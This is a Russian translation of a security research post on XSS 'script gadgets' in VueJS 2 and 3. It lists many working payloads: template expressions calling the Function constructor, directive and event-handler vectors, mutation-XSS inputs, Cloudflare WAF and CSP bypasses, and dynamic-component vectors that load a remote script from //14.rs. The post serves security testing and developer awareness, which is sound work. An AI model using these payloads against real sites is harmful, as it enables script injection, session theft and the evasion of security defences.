Перевод: Gareth Heyes — Evading defences using VueJS script gadgets
Мы обнаружили, что популярный фреймворк JavaScript VueJS предлагает функции, имеющие серьезные последствия для безопасности веб-сайтов. Если вы столкнетесь с веб-приложением, использующим Vue, этот пост поможет вам определить специфичные для Vue векторы XSS атак.
В этой статье термин гаджет сценария — это любая дополнительная функция, созданная платформой, которая может вызвать выполнение JavaScript. Они могут быть на основе JavaScript или HTML. Гаджет скрипты часто полезны для обхода защиты, такой как WAF и CSP. С точки зрения разработчика также полезно знать все гаджеты сценариев, которые создает платформа или библиотека; эти знания могут помочь предотвратить XSS уязвимости при разрешении пользовательского ввода в ваших собственных веб-приложениях. В этом посте мы рассмотрим широкий спектр методов, от векторов на основе выражений до XSS с мутациями (mXSS).
В этой статье много информации! Если вам интересно узнать о хакерских фреймворках, вы, вероятно, захотите прочитать все это целиком. Но если вы столкнулись с конкретным сценарием и вам просто нужен вектор для его решения, вы можете сразу перейти к недавно обновленному разделу VueJS в нашей шпаргалке по XSS.
В этом посте мы рассмотрим:
Рассказывая о различных взломах VueJS, я, Lewis Ardern и PwnFunction решили создать статью для блога, чтобы рассказать о них более подробно. Нам было очень весело сотрудничать и придумывать несколько интересных векторов. Все началось с попытки уменьшить следующий вектор XSS VueJS (что такое уменьшение вектора будет описано ниже):
{{toString().constructor.constructor('alert(1)')()}}
Чтобы понять, как он его уменьшить, нам нужно было увидеть, как трансформируется наш вектор. Мы просмотрели исходный код VueJS и искали вызовы конструктора Function
. Были случаи, когда конструктор Function
был вызван, а созданная функция — нет. Мы пропустили эти экземпляры, потому что были уверены, что наш код трансформируется не в этом месте. В строке 11648 мы в конце концов нашли конструктор Function
, который вызывал сгенерированную функцию:
return new Function(code)
Мы добавили точку останова в этой строке и обновили страницу. Затем мы проверили содержимое переменной кода и, конечно же, смогли увидеть наш вектор. Код находился внутри оператора with, за которым следовало выражение return
. Следовательно, область выполняемого кода находилась в пределах объекта, указанного в операторе with. По сути, это означало, что не было глобальной функции alert(), но в области видимости with были функции VueJS, такие как _c, _v и _s.
Если мы используем эти функции, мы можем уменьшить размер нашего выражения. Конструктором этой функции будет конструктор Function, который позволяет нам выполнять код. Это означает, что мы можем уменьшить вектор до:
{{_c.constructor('alert(1)')()}}
Прежде чем мы продолжим, вероятно, неплохо было бы быстро упоминуть инструменты отладки, которые мы использовали.
Vue Devtools: Официальное расширение браузера, которое можно использовать для отладки приложений, созданных с помощью VueJS.
Vue-template-compiler: Компилирует шаблоны для рендеринга функций, что помогает нам увидеть, как Vue представляет шаблоны внутри. Существует удобная онлайн-версия инструмента под названием template-explorer.
Время от времени мы также перезаписывали исходники VueJS, добавляя такие функции, как ведение журнала, чтобы мы могли видеть, что происходит внутри.
Как и в других фреймворках, в VueJS есть директивы, которые облегчают нашу жизнь. Практически каждую директиву VueJS можно использовать как гаджет. Давайте посмотрим на пример.
Директива v-show
<p v-show="_c.constructor`alert(1)`()">
Это относительно простой фрагмент кода. Существует директива v-show, которая используется для отображения или скрытия элемента из модели DOM на основе логического условия. В данном случае условием является вектор атаки.
Тот же самый вектор может быть применен к другим директивам, включая v-for
, v-model
, v-on
etc.
Директива v-on
<x v-on:click='_b.constructor`alert(1)`()'>click</x>
Директива v-bind
<x v-bind:a='_b.constructor`alert(1)`()'>
Разнообразный характер этих гаджетов может помочь вам создать гибкие векторы, которые можно очень легко использовать для обхода WAF.
Минимизация векторов — также известная как «code golfing» — означает поиск способов достижения того же результата с помощью как можно меньшего количества символов или байтов. Изначально мы предполагали, что кратчайший из возможных векторов будет выражением шаблона, а это означает, что нам нужно будет использовать 4 байта только для добавления необходимых фигурных скобок {{}}. Однако это предположение оказалось ошибочным.
Мы потратили много времени на отладку, изучали исходный код и документацию. Мы не смогли найти никаких способов сократить вектор с помощью шаблонов, поэтому начали искать теги.
Мы начали с 35 байтов и в конце концов поднялись по лестнице. Но по пути мы нашли несколько довольно интересных векторов, используя причуды парсера VueJS:
<x @[_b.constructor`alert(1)`()]> (35 bytes)
<x :[_b.constructor`alert(1)`()]> (33 bytes)
<p v-=_c.constructor`alert(1)`()> (33 bytes)
<x #[_c.constructor`alert(1)`()]> (33 bytes)
<p :=_c.constructor`alert(1)`()> (32 bytes)
Но наиболее короткие по-прежнему были вектора шаблонов:
{{_c.constructor('alert(1)')()}} (32 bytes)
{{_b.constructor`alert(1)`()}} (30 bytes)
Попробовав бесчисленное количество способов code golfing, чтобы получить менее 30 байт, мы в конце концов наткнулись на Dynamic Components в Vue API.
Динамические компоненты — это, по сути, компоненты, которые можно заменить на другой компонент в более поздний момент времени. Это достигается за счет использования атрибута is в теге. Рассмотрим следующий пример:
<x v-bind:is="'script'" src="//14.rs" />
Это можно сократить до:
<x is=script src=//⑭.₨>
Теперь всего 23 байта! Это самый короткий вектор, который мы могли придумать для VueJS v2 за все время исследования.
Как и AngularJS, VueJS определяет специальный объект с именем $event, который ссылается на объект события в браузере. Используя этот объект $event, вы можете получить доступ к объекту окна браузера, что позволит вам вызывать все, что угодно:
<img src @error="e=$event.path;e[e.length-1].alert(1)">
<img src @error="e=$event.path.pop().alert(1)">
Мы определили, что @error будет оценивать выражение, потому что VueJS предлагает сокращенный синтаксис, который позволяет вам ставить префиксы для обработчиков событий, таких как error
, или click
с помощью @ вместо использования директивы v-on. В документации также показано, что вы можете использовать переменную $event для доступа к исходному событию DOM.
Эти векторы работают благодаря специальному свойству path, которое Chrome определяет при выполнении события. Это свойство содержит массив объектов, вызвавших событие. Для нас важно то, что объект window всегда является последним элементом в этом массиве. Функция composedPath() генерирует аналогичный массив в других браузерах, что позволяет нам построить кроссбраузерный вектор следующим образом:
<img src @error="e=$event.composedPath().pop().alert(1)">
Затем мы начали искать способы уменьшение векторов на основе событий и заметили интересное поведение VueJS. Переписанный код, который генерирует VueJS, использует this
и не использует строгий режим (strict mode). В результате при использовании функции this ссылается на объект window
, что позволяет использовать вектор еще короче:
<img src @error=this.alert(1)>
Эту концепцию также можно продемонстрировать без использования события:
{{-function(){this.alert(1)}()}}
Поскольку внедренная функция наследует глобального объект window, находясь внутри функции, this указывает на объект window
.
Нам удалось еще больше уменьшить наш вектор на основе событий, используя тег SVG и событие загрузки:
<svg @load=this.alert(1)>
Сначала мы думали, что это самое маленькое из возможных. Но потом у нас возникла мысль — если VueJS анализирует эти особые события, возможно, он разрешает то, чего не делает обычный HTML. Конечно, есть:
<svg@load=this.alert(1)>
По умолчанию, когда фреймворки, такие как AngularJS (версия 1) и VueJS, отображают страницу, они не выполняют досрочное завершение (ahead-of-time AoT). Эта особенность означает, что, если вы можете внедрять внутрь шаблона, который использует фреймворк, вы можете скрыть свои собственные произвольные полезные данные, которые будут выполнены.
Иногда это может вызывать проблемы, когда приложение было частично реорганизовано для использования новой платформы, но все еще содержит устаревший код, который полагается на дополнительные сторонние библиотеки. Хорошим примером этого является VueJS и JQuery. Библиотека JQuery предоставляет различные методы, такие как text()
. Само по себе это относительно безопасно для XSS, потому что эта функция кодирует свой вывод. Однако, если вы объедините это с фреймворком, который использует синтаксис шаблонов в стиле Mustache, например {{}}, с методом, который выполняет только текстовые операции, например $(‘#message’).text(userInput)
, это может привести к Silent sink. Это интересный вектор атаки, потому что вы вводите новую уязвимость в метод, который обычно считается безопасным. Например, в этой связке выполняется только вторая полезная нагрузка.
$('#message').text("'><script>alert(1)<\/script>'");
$('#message1').text("{{_c.constructor('alert(2)')()}}")
Затем мы начали изучать векторы мутации XSS (mXSS) и то, как мы могли бы использовать VueJS для их пременения. Традиционно векторы mXSS требуют модификации в DOM, чтобы мутировать; отраженный ввод (reflected input) обычно не изменяется, потому что DOM не изменяется после внедрения. Однако в случае VueJS выражения и HTML анализируются и впоследствии изменяются, что означает, что модификация DOM действительно происходит. В результате отраженный ввод, отфильтрованный фильтром HTML, может превратиться в mXSS!
Первая обнаруженная нами мутация была вызвана тем, как VueJS анализирует атрибуты. Если вы используете кавычки в имени атрибута, VueJS запутается, расшифровывает значение атрибута, а затем удаляет недопустимое имя атрибута. Это вызывает mXSS и отображает iframe:
На входе:
<x title"="<iframe	onload	=alert(1)>">
Output:
"="<iframe onload="alert(1)">"></iframe>
Это работало при ссылке на VueJS с относительного URL-адреса, но при использовании домена unpkg.com для обслуживания JS возвращалось 403, потому что сервер использует Cloudflare, который заблокировал запрос из-за вектора в реферере. Мы смогли обойти это с помощью небольшого обмана:
<a href="https://portswigger-labs.net/xss/vuejs.php?x=%3Cx%20title%22=%22%26lt;iframe%26Tab;onload%26Tab;=setTimeout(top.name)%26gt;%22%3E" target=alert(1337)>test</a>
Мы использовали html entities, чтобы обмануть Cloudflare WAF и разрешить событие onload, а затем использовали setTimeout(), который оценивает строку и передает ей имя окна. Позже мы выяснили, что можно упростить обход следующим образом:
<x title"="<iframe	onload	=setTimeout(/alert(1)/.source)>">
Мы также искали больше мутаций и обнаружили, что следующие примеры также мутировали:
<x < x="<iframe onload=alert(0)>">
<x = x="<iframe onload=alert(0)>">
<x ' x="<iframe onload=alert(0)>">
Дальнейшие эксперименты показали другое поведение mXSS. Обычно тег в теге шаблона не отображается. Однако оказывается, что VueJS удаляет тег <template> оставляя разметку внутри. Оставшаяся разметка будет отображена:
На входе:
<template><iframe></iframe></template>
Введите это в консоль инструментов разработчика:
document.body.innerHTML+=''
На выходе:
<iframe></iframe>
Когда VueJS удалял тег <template>, мы задавались вопросом, можем ли мы использовать его для мутации. Мы поместили тег <template> в другой и были удивлены, увидев эту мутацию:
На входе:
<xmp><<template></template>/xmp><<template></template>iframe></xmp>
Введите это в консоль инструментов разработчика:
document.body.innerHTML+=''
На выходе:
<xmp></xmp><iframe></xmp>
Мы также обнаружили, что <noscript> также будет видоизменяться при манипуляциях с DOM:
<noscript></noscript><iframe></noscript>
Введите это в консоль инструментов разработчика:
document.body.innerHTML+=''
То же самое касается и XMP.:
На входе:
<xmp></xmp><iframe></xmp>
Введите это в консоль инструментов разработчика:
document.body.innerHTML+=''
В конце концов мы обнаружили, что эти мутации также возможны с <noframes>, <noembed> и <iframe>. Это было интересно, но нам действительно нужен был способ вызвать мутацию через VueJS без каких-либо ручных манипуляций с DOM. В поисках мутации мы поняли, что VueJS изменяет HTML. Чтобы доказать это, мы придумали простой тест. Обычно, если вы помещаете тег в другой тег, будет отображаться только первый тег, потому что для второго не найдено закрывающее >. С другой стороны, VueJS фактически изменит и удалит за вас первый тег:
На входе:
<xyz<img/src onerror=alert(1)>>
На выходе:
<img src="" onerror="alert(1)">>
Затем нам нужно было создать вектор, который бы обходил фильтр HTML, прежде чем стал опасным после мутации. После многих часов попыток мы обнаружили, что если вы используете несколько тегов SVG, вы можете вызвать изменение DOM с помощью VueJS. Это вызвало мутацию, превратив отраженную XSS в mXSS:
На входе:
<svg><svg><b><noscript></noscript><iframe	onload=alert(1)></noscript></b></svg>
На выходе:
<p><svg><svg></svg></svg><b><noscript></noscript><iframe onload="alert(1)"></iframe></b></p>
Наконец, вот еще один PoC, который мутирует и обходит Cloudflare WAF:
На входе:
<svg><svg><b><noscript></noscript><iframe	onload=setTimeout(/alert(1)/.source)></noscript></b></svg>
На выходе:
<svg><svg></svg></svg><b><noscript></noscript><iframe onload="setTimeout(/alert(1)/.source)"></iframe></b>
Мы заметили, что мутации не работали, когда был включен CSP. Это произошло потому, что они содержали обычные обработчики событий DOM, которые были заблокированы CSP. Но потом у нас возникла мысль — а что, если мы внедрили мутировавший HTML со специальными событиями VueJS? Это будет отображаться VueJS, выполняя наш код и пользовательские обработчики событий, которые обходят CSP. Мы не были уверены, будет ли мутированный DOM выполнять эти обработчики, но, к нашему удовольствию, это произошло!
Сначала мы внедрили в вектор мутации изображение и использовали обработчик события VueJS @error. Когда DOM видоизменяется, изображение отображается вместе с обработчиком @error. Затем мы использовали специальный объект $event, чтобы получить ссылку на window
и выполнить наш alert():
На входе:
<svg><svg><b><noscript></noscript><img/src/	@error=$event.path.pop().alert(1)></noscript></b></svg>
На выходе:
<p><svg><svg></svg></svg><b><noscript></noscript><img src=""></b></p>
В измененной модели DOM не отображается событие @error, но оно все равно выполняется. Вы можете увидеть это в следующем примере:
Векторы мутации из этого раздела также будут работать в версии 3..
Пока мы проводили это исследование, был выпущен VueJS 3, который сломал многие из обнаруженных нами векторов. Мы решили быстро взглянуть и посмотреть, сможем ли мы заставить их снова работать. В версии 3 изменилось много кода, например, конструктор Function переместился в строку 13035, а сокращенные версии функций VueJS, такие как _b, были удалены.
Добавив точку останова на 13055, мы проверили содержимое переменной кода. Похоже, что VueJS имеет аналогичные функции с версией 2; они просто более подробны с именами функций. Нам просто нужно было заменить короткую форму функции на более длинну:
{{_openBlock.constructor('alert(1)')()}}
В рамках выполняемого выражения доступно несколько различных функций:
{{_createBlock.constructor('alert(1)')()}}
{{_toDisplayString.constructor('alert(1)')()}}
{{_createVNode.constructor('alert(1)')()}}
Большинство векторов в этом посте можно заставить работать в v3, просто используя более подробную функцию:
<p v-show="_createBlock.constructor`alert(1)`()">
В некоторых случаях полезные данные не могут выполняться, например, при использовании следующего вектора:
<x @[_openBlock.constructor`alert(1)`()]>
Это не удается, потому что выражение преобразуется в нижний регистр VueJS, что приводит к попытке вызвать несуществующую функцию _objectblock … Чтобы обойти эту проблему, мы использовали функцию _capitalize в области:
<x @[_capitalize.constructor`alert(1)`()]>
События также предоставляют разные функции. В дополнение к объекту $event, который мы обсуждали ранее, есть также _withCtx и _resolveComponent. Последний вариант слишком длинный, но _withCtx красив и короток:
<x @click=_withCtx.constructor`alert(1)`()>click</x>
Использование $event также является удобным ярлыком:
<x @click=$event.view.alert(1)>click</x>
Наши векторы теперь работают в v3, но они все еще довольно длинные. Мы искали более короткие имена функций и заметили, что есть переменная с именем _Vue, которая находится в текущей области. Мы передали эту переменную конструктору функции и использовали console.log() для проверки содержимого объекта:
{{_createBlock.constructor('x','console.log(x)')(_Vue)}}
Как и ожидалось, это была просто ссылка на глобальный Vue, но у объекта есть функция с именем h. Это красивое короткое имя функции, которое мы можем использовать, чтобы уменьшить вектор до:
{{_Vue.h.constructor`alert(1)`()}}
Пытаясь найти способы еще больше это уменьшить, мы начали с базового вектора и внедрили вызов конструктора Function
. Но на этот раз вместо простого вызова alert() мы передали объект, который хотели проверить, нашей функции и использовали console.log() для проверки содержимого object/proxy. proxy— это специальный объект JavaScript, который позволяет нам перехватывать операции с проксируемым объектом. Например, операции get/set или вызовы функций. Vue использует proxy, поэтому они могут предоставлять функции / свойства выражениям, которые они используют в текущей области. Выражение, которое мы использовали, приведено ниже:
{{_Vue.h.constructor('x','console.log(x)')(this)}}
Это выведет объект в окно консоли. Если вы проверите свойство [[Target]] прокси, вы сможете увидеть потенциальные функции, которые вы можете использовать. Используя этот подход, мы выявили функции $nextTick, $watch, $forceUpdate и $emit. Используя самый короткий из них, мы смогли создать следующий вектор
{{$emit.constructor`alert(1)`()}}
Вы уже видели наш самый короткий вектор для VueJS v2:
<x is=script src=//14.rs>
Это не работает, потому что VueJS v3 пытается разрешить компонент с именем x, которого не существует, потому что он родной. Следующий код является частью функции render ().
return function render(_ctx, _cache) {
with (_ctx) {
...
const _component_x = _resolveComponent("x")
...
}
}
Однако есть специальный тег <component>, который используется hand-in-hand для создания динамических компонентов. Итак, все, что нам нужно сделать, это заменить x на компонент.
<component is=script src=//14.rs>
Для приведенного выше вектора функция render () выглядит так:
return function render(_ctx, _cache) {
with (_ctx) {
...
return (_openBlock(),
_createBlock(_resolveDynamicComponent("script"),
{ src: "//⑭.₨" }))
}
}
В результате самый короткий вектор для VueJS v3 составляет 31 байт.
<component is=script src=//⑭.₨>
В версии 3 можно использовать свойства DOM как атрибуты тега <component>
. Это означает, что вы можете использовать текст свойства DOM, который будет добавлен к тегу <script>
как текстовый узел, который затем будет добавлен в DOM.
<component is=script text=alert(1)>
Мы наткнулись на действительно интересный новый тег в VueJS 3 под названием <teleport>
. Этот тег позволяет передавать содержимое тега <teleport>
в любой другой тег с помощью атрибута to, который принимает селектор CSS, который затем будет добавлен в DOM:
<teleport to="#x"><b>test</b></teleport>
Содержимое тега передается даже для текстовых узлов. Это означает, что мы можем HTML-кодировать текстовый узел, и он будет декодирован перед передачей. Это работает для тегов <script>
и <style>
хотя в наших тестах мы обнаружили, что вам нужен существующий пустой элемент<script>
:
<teleport to=script:nth-child(2)>alert(1)</teleport></div><script></script>
В этом примере текущий стиль синий, но мы добавляем тег <teleport>
, чтобы изменить стиль встроенной таблицы стилей. Затем текст станет красным:
<teleport to="style">
/* Can be Entity Encoded */
h1 {
color: red;
}
</teleport>
</div>
<h1>aaaa</h1>
<style>
h1 {
color: blue;
}
</style>
Вы можете комбинировать кодировку HTML с экранированием Unicode в JavaScript, чтобы создать несколько хороших векторов, которые могут обойти несколько WAF:
<teleport to=script:nth-child(2)>alert(1)</teleport></div><script></script>
Мы также обнаружили то, что решили назвать «обратным телепортом». Мы уже обсуждали, что VueJS имеет тег <teleport>
, но если вы включите селектор CSS в выражение шаблона, вы можете настроить таргетинг на любой другой элемент HTML и выполнить содержимое этого элемента как выражение. Это работает, даже если целевой тег находится за пределами приложения!
Мы все были шокированы, когда осознали, что VueJS запускает querySelector для всего содержимого выражения, если оно начинается с символа #. Следующий фрагмент демонстрирует выражение с запросом CSS, нацеленным на <div> с классом haha. Второе выражение выполняется, даже если оно находится за пределами приложения.
<div id="app">#x,.haha</div><div class=haha>{{_Vue.h.constructor`alert(1)`()}}</div>
<!-- Notice the div above is outside the application div -->
<script src="vue3.js"></script>
<script nonce="sometoken">
const app = Vue.createApp({
data() {
return {
input: '# hello'
}
}
})
app.mount('#app')
</script>
В этом разделе мы более подробно рассмотрим, где могут пригодиться эти скрипты.
Начнем с брандмауэров веб-приложений. Как мы уже видели, предстоит открыть для себя множество потенциальных устройств. Поскольку Vue применяет декодирование объектов HTML, существует высокая вероятность того, что вы сможете обойти распространенные WAF, такие как Cloudflare.
Sanitizers, такие как DOMPurify, имеют очень хороший набор белых списков для тегов и атрибутов, которые помогают блокировать все, что не считается нормальным. Однако, поскольку все они допускают синтаксис шаблонов, они не обеспечивают надежной защиты от атак XSS при использовании вместе с интерфейсными фреймворками, такими как VueJS.
Vue работает, выполняя лексический анализ контента и разбирая его в абстрактное синтаксическое дерево (AST). Код передается в функцию рендеринга в виде строки, где он выполняется из-за функциональности конструктора Function, подобной eval. Это означает, что CSP должен быть определен таким образом, чтобы VueJS и приложение по-прежнему работали правильно. Если он содержит unsafe-eval, вы можете использовать Vue, чтобы легко обойти CSP. Обратите внимание, что strict-dynamic или nonce
bypasses требуется unsafe-eval.
Unsafe-eval + nonce :
// v2
{{_c.constructor`alert(document.currentScript.nonce)`()}}
// v3
{{_Vue.h.constructor`alert(document.currentScript.nonce)`()}}
Большинство векторов в этом посте работают с CSP. Единственное исключение — динамические компоненты и векторы на основе телепорта. Это потому, что они пытаются добавить в документ узел сценария, который CSP заблокирует (в зависимости от политики).
Мы надеемся, что вам понравился наш пост так же, как нам понравилось его писать и придумывать интересные гаджеты. Несколько советов для разработчиков и хакеров, просматривающих этот пост:
Все векторы, обсуждаемые в посте, были добавлены в нашу шпаргалку по XSS в разделе VueJS.
Если вам понравился этот пост, дайте нам знать! Мы заинтересованы в проведении дополнительных исследований VueJS и других клиентских и серверных фреймворков.
Краткий перевод: https://vuejs.org/guide/components/v-model.html Основное использование v-model используется для реализации двусторонней привязки в компоненте. Начиная с Vue…
Сегодня мы рады объявить о выпуске Vue 3.4 «🏀 Slam Dunk»! Этот выпуск включает в…
Vue.js — это универсальный и адаптируемый фреймворк. Благодаря своей отличительной архитектуре и системе реактивности Vue…
Недавно, у меня истек сертификат и пришлось заказывать новый и затем устанавливать на хостинг с…
Каким бы ни было ваше мнение о JavaScript, но всем известно, что работа с датами…
Все, кто следит за последними событиями в мире адаптивного дизайна, согласятся, что введение контейнерных запросов…